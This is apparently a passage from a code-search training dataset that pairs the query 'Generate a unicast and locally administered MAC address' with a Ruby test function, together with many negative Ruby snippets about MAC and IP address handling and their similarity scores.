#generate array (mac_addresses), one mac address per row based on size of pool\n mac_addresses = []\n last_mac_address = 0\n if is_zigbee?(pool) || is_gateway?(pool) #checks device_type.mac_address_type (zigbee = 0, gateway = 1)\n last_mac_address = get_last_mac_address(pool) + 1\n end\n \n (0..pool.size-1).each do |i|\n num = i + last_mac_address\n if is_zigbee?(pool) || is_gateway?(pool)\n mac_addresses << get_mac_address(pool, num)\n else\n mac_addresses << ''\n end\n end\n \n #add a new device for each row in the pool and save the pool\n Device.transaction do\n (0..pool.size-1).each do |i|\n device = Device.new(:active => false, :pool_id => pool.id, :serial_number => serial_numbers[i], :mac_address => mac_addresses[i])\n device.save!\n end\n pool.ending_serial_number = serial_numbers[pool.size - 1]\n pool.ending_mac_address = mac_addresses[pool.size - 1]\n pool.save!\n end\n end", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end", "def multicast_group\n IPAddr.new(address).hton + IPAddr.new(LOCAL_ADDRESS).hton\n end", "def set_mac_address(mac)\n end", "def reg_binary_to_mac(mac_v)\n\t\tbssid = mac_v.data.to_s.unpack(\"H*\")[0]\n\t\tbssid.insert(2,\":\")\n\t\tbssid.insert(5,\":\")\n\t\tbssid.insert(8,\":\")\n\t\tbssid.insert(11,\":\")\n\t\tbssid.insert(14,\":\")\n\t\treturn bssid\n\tend", "def new_address\n private_key, public_key = Bitcoin::generate_key\n address = Bitcoin::pubkey_to_address(public_key)\n [private_key, public_key, address]\nend", "def lookup(mac, opts = {})\n lapsed!\n data = prefix_table[Address.new(mac).prefix]\n if data.nil?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for MAC: #{mac}\") : (return nil)\n end\n Address.new(mac, data)\n end", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def pretty\n\t\tmacocts = []\n\t\tmac_addr.each_byte { |o| macocts << o }\n\t\tmacocts += [0] * (6 - macocts.size) if macocts.size < 6\n\t\treturn sprintf(\n\t\t\t\t\"#{mac_name}\\n\" +\n\t\t\t\t\"Hardware MAC: %02x:%02x:%02x:%02x:%02x:%02x\\n\" +\n\t\t\t\t\"IP Address : %s\\n\" +\n\t\t\t\t\"Netmask : %s\\n\" +\n\t\t\t\t\"\\n\", \n\t\t\t\tmacocts[0], macocts[1], macocts[2], macocts[3], \n\t\t\t\tmacocts[4], macocts[5], ip, netmask)\n\tend", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def arp_daddr_mac\n\t\tEthHeader.str2mac(self[:arp_dest_mac].to_s)\n\tend", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def set_mac_address(mac)\n execute(\"modifyvm\", @uuid, \"--macaddress1\", mac)\n end", "def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end", "def dev_addr(mac, family='lladdr')\n interface_node = node['network']['interfaces']\n addr = mac.downcase\n interface_node.select do |dev, data|\n data['addresses'].select do |id, prop|\n\treturn dev if id.downcase == addr && prop['family'] == family\n end\n end\n return nil\n end", "def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def dest_mac\n self[:dest_mac]\n end", "def get_next_mac_address(serial_number, dt_wo)\n dt_wo.total_mac_addresses += 1\n serial_number = serial_number[5,5].to_i\n \n serial_number = serial_number.to_s(16)\n serial_number = serial_number.rjust(4, '0')\n mac_address = dt_wo.starting_mac_address + '00' + ':' + serial_number[0,2] + ':' + serial_number[2,2]\n dt_wo.current_mac_address = mac_address\n dt_wo.save!\n return mac_address\n end", "def node_mac(name)\n %x{grep 'mac address' /etc/libvirt/qemu/#{name}.xml 2>/dev/null}.match(/((..:){5}..)/).to_s\nend", "def calc_cmc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n mac_array[-2] = \"F%d\" % [i / 100]\n mac_array[-1] = \"%02d\" % [i % 100]\n mac_array.join(\":\")\nend", "def mac_address\n mac = nil\n\n ovf.elements.each(\"//vbox:Machine/Hardware//Adapter\") do |ele|\n if ele.attributes['enabled'] == 'true'\n mac = ele.attributes['MACAddress']\n break\n end\n end\n\n if mac\n return mac\n else\n raise Errors::BoxAttributeError, :error_message => 'Could not determine mac address'\n end\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def mac_addresses\n network_response = network_info\n return network_response unless network_response.successful?\n\n response = Response.new :code => 0\n response.data = network_response.data.values.collect { |n| n['mac_address'] }\n\n response\n end", "def generateEmailAddress()\n uuid = SecureRandom.hex(3)\n return \"%s.%[email protected]\" % [uuid, @MAILBOX]\n end", "def new_socket\n membership = IPAddr.new(@broadcast).hton + IPAddr.new('0.0.0.0').hton\n ttl = [@ttl].pack 'i'\n\n socket = UDPSocket.new\n\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_ADD_MEMBERSHIP, membership\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_LOOP, \"\\000\"\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_MULTICAST_TTL, ttl\n socket.setsockopt Socket::IPPROTO_IP, Socket::IP_TTL, ttl\n\n socket.bind '0.0.0.0', @port\n\n socket\n end", "def mac\n @attributes.fetch('mac', nil)\n end", "def manufacturer_id\n mac[0..7]\n end", "def check_fusion_vm_mac(options)\n if options['mac'].gsub(/:/,\"\").match(/^08/)\n handle_output(options,\"Warning:\\tInvalid MAC address: #{options['mac']}\")\n options['vm'] = \"fusion\"\n options['mac'] = generate_mac_address(options['vm'])\n handle_output(options,\"Information:\\tGenerated new MAC address: #{options['mac']}\")\n end\n return options['mac']\nend", "def dell_mac_addresses\n macs = []\n result = run_command([\"delloem\", \"mac\"])\n result.each_line do |line|\n data = line.split(' ')\n if data[0].to_i.to_s == data[0].to_s\n macs << mac = {:index => data[0], :address => data[1]}\n unless data[2].blank?\n mac[:enabled] = data[2] == 'Enabled'\n else\n mac[:enabled] = true\n end\n end\n end\n macs\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end", "def arp_saddr_mac= mac\n\t\tmac = EthHeader.mac2str(mac)\n\t\tself[:arp_src_mac].read(mac)\n\t\tself.arp_src_mac\n\tend", "def encode_mac(mac_address)\n Digest::SHA1.hexdigest(mac_address).upcase\n end", "def change_fusion_vm_mac(options)\n (fusion_vm_dir,fusion_vmx_file,fusion_disk_file) = check_fusion_vm_doesnt_exist(options)\n if not File.exist?(fusion_vmx_file)\n handle_output(options,\"Warning:\\t#{options['vmapp']} VM #{options['name']} does not exist \")\n quit(options)\n end\n copy=[]\n file=IO.readlines(fusion_vmx_file)\n file.each do |line|\n if line.match(/generatedAddress/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n if line.match(/ethernet0\\.address/)\n copy.push(\"ethernet0.address = \\\"\"+options['mac']+\"\\\"\\n\")\n else\n copy.push(line)\n end\n end\n end\n File.open(fusion_vmx_file,\"w\") {|file_data| file_data.puts copy}\n return\nend", "def get_gdom_mac(options)\n message = \"Information:\\tGetting guest domain \"+options['name']+\" MAC address\"\n command = \"ldm list-bindings #{options['name']} |grep '#{options['vmnic']}' |awk '{print $5}'\"\n output = execute_command(options,message,command)\n options['mac'] = output.chomp\n return options['mac']\nend", "def net_set_mac(mac_addr)\n execute(:set_network_mac, VmId: vm_id, Mac: mac_addr)\n end", "def calc_mac(post)\n string = '';\n post.sort_by {|sym| sym.to_s}.map do |key,value|\n if key != 'MAC'\n if string.length > 0\n string += '&'\n end\n string += \"#{key}=#{value}\"\n end\n end\n post[:MAC] = OpenSSL::HMAC.hexdigest('sha256', hexto_sring(@options[:password]), string)\n end" ]
[ "0.80046564", "0.7696998", "0.7574962", "0.7509656", "0.7425773", "0.7238702", "0.71805775", "0.7154369", "0.69516873", "0.69076127", "0.6781537", "0.6668428", "0.6596661", "0.6541099", "0.6541099", "0.6516493", "0.6495483", "0.6438182", "0.64102006", "0.64060766", "0.6380741", "0.63669467", "0.63181883", "0.6308852", "0.63030416", "0.6283702", "0.62349945", "0.62274754", "0.62208897", "0.62208897", "0.61779976", "0.6153658", "0.6117237", "0.60971737", "0.60904837", "0.60640514", "0.6053514", "0.6045992", "0.6040038", "0.6014146", "0.600927", "0.600927", "0.5984613", "0.5930949", "0.5925653", "0.59201515", "0.5907654", "0.5888372", "0.58861274", "0.5878269", "0.586985", "0.5835822", "0.58315015", "0.5820892", "0.5789606", "0.57571626", "0.5749497", "0.5733251", "0.5702718", "0.5689276", "0.5689276", "0.5685404", "0.56778055", "0.5663327", "0.5659696", "0.56524146", "0.56170136", "0.5616503", "0.5613334", "0.56102425", "0.559605", "0.5564389", "0.5555197", "0.55462486", "0.55418545", "0.5519182", "0.55174035", "0.551146", "0.55007184", "0.5496158", "0.54957455", "0.5494651", "0.5493972", "0.5477819", "0.5431665", "0.5431665", "0.5423914", "0.54218906", "0.54069114", "0.54050493", "0.5400971", "0.53719366", "0.53626156", "0.5361462", "0.53402776", "0.5326996", "0.5325918", "0.5323674", "0.53198797", "0.53162897" ]
0.67865026
10
Generate a unicast and locally administered MAC address
def test_gen_mac_unicast_locally_administered mac = RFauxFactory.gen_mac(multicast: false, locally: true) first_octect = mac.split(':')[0].to_i(16) mask = 0b00000011 assert_equal first_octect & mask, 2 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def generate_ULA(mac, subnet_id = 0, locally_assigned=true)\n now = Time.now.utc\n ntp_time = ((now.to_i + 2208988800) << 32) + now.nsec # Convert time to an NTP timstamp.\n system_id = '::/64'.to_ip.eui_64(mac).to_i # Generate an EUI64 from the provided MAC address.\n key = [ ntp_time, system_id ].pack('QQ') # Pack the ntp timestamp and the system_id into a binary string\n global_id = Digest::SHA1.digest( key ).unpack('QQ').last & 0xffffffffff # Use only the last 40 bytes of the SHA1 digest.\n\n prefix =\n (126 << 121) + # 0xfc (bytes 0..6)\n ((locally_assigned ? 1 : 0) << 120) + # locally assigned? (byte 7)\n (global_id << 80) + # 40 bit global idenfitier (bytes 8..48)\n ((subnet_id & 0xffff) << 64) # 16 bit subnet_id (bytes 48..64)\n\n prefix.to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n end", "def test_gen_mac_multicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: true, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 3\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end", "def mac_eth0\n eth0.mac_address\n end", "def test_gen_mac_multicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: true, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 1\n end", "def random_mac(oui=nil)\n mac_parts = [oui||DEFAULT_OUI]\n [0x7f, 0xff, 0xff].each do |limit|\n mac_parts << \"%02x\" % rand(limit + 1)\n end\n mac_parts.join('-')\nend", "def random_mac_addr(provider)\n symbol = provider.to_sym\n case symbol\n when :virtualbox\n PROVIDER_MAC_PREFIXES[:virtualbox] + 3.times.map { '%02x' % rand(0..255) }.join\n when :libvirt\n PROVIDER_MAC_PREFIXES[:libvirt] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware_fusion\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :parallels\n PROVIDER_MAC_PREFIXES[:parallels] + 3.times.map { '%02x' % rand(0..255) }.join\n when :hyper_v\n PROVIDER_MAC_PREFIXES[:hyper_v] + 3.times.map { '%02x' % rand(0..255) }.join\n else\n raise \"Unsupported provider #{provider}\"\n end\nend", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def mac_address(prefix: T.unsafe(nil)); end", "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end", "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "def mac_address\n super\n end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end", "def true_mac_address\n super\n end", "def true_mac_address\n super\n end", "def base_mac_address\n super\n end", "def generate_by_vendor(vendor, opts = {})\n ouis = vendor_table[vendor]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for vendor: #{vendor}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: vendor,\n address: oui[:address],\n iso_code: oui[:iso_code])\n end", "def address\n @mac_address ||= addresses.first\n end", "def generate_by_iso_code(iso_code, opts = {})\n ouis = iso_code_table[iso_code]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for iso code #{iso_code}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: oui[:name],\n address: oui[:address],\n iso_code: iso_code)\n end", "def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end", "def create clock=nil, time=nil, mac_addr=nil\nc = t = m = nil\nDir.chdir Dir.tmpdir do\nunless FileTest.exist? STATE_FILE then\n# Generate a pseudo MAC address because we have no pure-ruby way\n# to know the MAC address of the NIC this system uses. Note\n# that cheating with pseudo arresses here is completely legal:\n# see Section 4.5 of RFC4122 for details.\nsha1 = Digest::SHA1.new\n256.times do\nr = [rand(0x100000000)].pack \"N\"\nsha1.update r\nend\nstr = sha1.digest\nr = rand 14 # 20-6\nnode = str[r, 6] || str\nnode[0] |= 0x01 # multicast bit\nk = rand 0x40000\nopen STATE_FILE, 'w' do |fp|\nfp.flock IO::LOCK_EX\nwrite_state fp, k, node\nfp.chmod 0o777 # must be world writable\nend\nend\nopen STATE_FILE, 'r+' do |fp|\nfp.flock IO::LOCK_EX\nc, m = read_state fp\nc = clock % 0x4000 if clock\nm = mac_addr if mac_addr\nt = time\nif t.nil? then\n# UUID epoch is 1582/Oct/15\ntt = Time.now\nt = tt.to_i*10000000 + tt.tv_usec*10 + 0x01B21DD213814000\nend\nc = c.succ # important; increment here\nwrite_state fp, c, m\nend\nend\n \ntl = t & 0xFFFF_FFFF\ntm = t >> 32\ntm = tm & 0xFFFF\nth = t >> 48\nth = th & 0x0FFF\nth = th | 0x1000\ncl = c & 0xFF\nch = c & 0x3F00\nch = ch >> 8\nch = ch | 0x80\npack tl, tm, th, cl, ch, m\nend", "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def setup( mac, ip = '255.255.255.255' )\n \n @magic ||= (\"\\xff\" * 6)\n \n # Validate MAC address and craft the magic packet\n raise AddressException,\n 'Invalid MAC address' unless self.valid_mac?( mac )\n mac_addr = mac.split(/:/).collect {|x| x.hex}.pack('CCCCCC')\n @magic[6..-1] = (mac_addr * 16)\n \n # Validate IP address\n raise AddressException,\n 'Invalid IP address' unless self.valid_ip?( ip )\n @ip_addr = ip\n \n end", "def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend", "def mac_masquerade_address\n super\n end", "def mac_masquerade_address\n super\n end", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "def get_mac_address_of_nic_on_requested_vlan\n args = {\n :value_of_vlan_option => get_option(:vlan),\n :dest_cluster => dest_cluster,\n :destination => destination\n }\n source.ext_management_system.ovirt_services.get_mac_address_of_nic_on_requested_vlan(args)\n end", "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def read_mac_address\n end", "def get_fusion_vm_mac(options)\n options['mac'] = \"\"\n options['search'] = \"ethernet0.address\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n if not options['mac']\n options['search'] = \"ethernet0.generatedAddress\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n end\n return options['mac']\nend", "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "def genConf\n conf=\"auto #{@device}\\n\"\n if (ip != nil && netmask != nil)\n conf+=%(iface #{@device} inet static\n address #{@ip}\n netmask #{@netmask}\n)\n else\n conf+=\"iface #{@device} inet dhcp\\n\"\n end\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def generate_serial_number_mac_address_mappings(pool)\n start_serial_number = pool.starting_serial_number\n start_mac_address = pool.starting_mac_address\n \n #generate array (serial_numbers), one serial number per row based on size of pool\n serial_numbers = []\n last_serial_number = get_last_serial_number(pool) + 1 \n (0..pool.size-1).each do |i| \n num = i + last_serial_number\n serial_numbers << get_serial_number(pool, num)\n end\n \n #generate array (mac_addresses), one mac address per row based on size of pool\n mac_addresses = []\n last_mac_address = 0\n if is_zigbee?(pool) || is_gateway?(pool) #checks device_type.mac_address_type (zigbee = 0, gateway = 1)\n last_mac_address = get_last_mac_address(pool) + 1\n end\n \n (0..pool.size-1).each do |i|\n num = i + last_mac_address\n if is_zigbee?(pool) || is_gateway?(pool)\n mac_addresses << get_mac_address(pool, num)\n else\n mac_addresses << ''\n end\n end\n \n #add a new device for each row in the pool and save the pool\n Device.transaction do\n (0..pool.size-1).each do |i|\n device = Device.new(:active => false, :pool_id => pool.id, :serial_number => serial_numbers[i], :mac_address => mac_addresses[i])\n device.save!\n end\n pool.ending_serial_number = serial_numbers[pool.size - 1]\n pool.ending_mac_address = mac_addresses[pool.size - 1]\n pool.save!\n end\n end", "def prefix_from_multicast\n if ipv6? && multicast_from_prefix?\n prefix_length = (to_i >> 92) & 0xff\n if (prefix_length == 0xff) && (((to_i >> 112) & 0xf) >= 2)\n # Link local prefix\n #(((to_i >> 32) & 0xffffffffffffffff) + (0xfe80 << 112)).to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n return nil # See http://redmine.ruby-lang.org/issues/5468\n else\n # Global unicast prefix\n (((to_i >> 32) & 0xffffffffffffffff) << 64).to_ip(Socket::AF_INET6).tap { |p| p.length = prefix_length }\n end\n end\n end", "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end", "def multicast_group\n IPAddr.new(address).hton + IPAddr.new(LOCAL_ADDRESS).hton\n end", "def set_mac_address(mac)\n end", "def reg_binary_to_mac(mac_v)\n\t\tbssid = mac_v.data.to_s.unpack(\"H*\")[0]\n\t\tbssid.insert(2,\":\")\n\t\tbssid.insert(5,\":\")\n\t\tbssid.insert(8,\":\")\n\t\tbssid.insert(11,\":\")\n\t\tbssid.insert(14,\":\")\n\t\treturn bssid\n\tend", "def new_address\n private_key, public_key = Bitcoin::generate_key\n address = Bitcoin::pubkey_to_address(public_key)\n [private_key, public_key, address]\nend", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def lookup(mac, opts = {})\n lapsed!\n data = prefix_table[Address.new(mac).prefix]\n if data.nil?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for MAC: #{mac}\") : (return nil)\n end\n Address.new(mac, data)\n end", "def pretty\n\t\tmacocts = []\n\t\tmac_addr.each_byte { |o| macocts << o }\n\t\tmacocts += [0] * (6 - macocts.size) if macocts.size < 6\n\t\treturn sprintf(\n\t\t\t\t\"#{mac_name}\\n\" +\n\t\t\t\t\"Hardware MAC: %02x:%02x:%02x:%02x:%02x:%02x\\n\" +\n\t\t\t\t\"IP Address : %s\\n\" 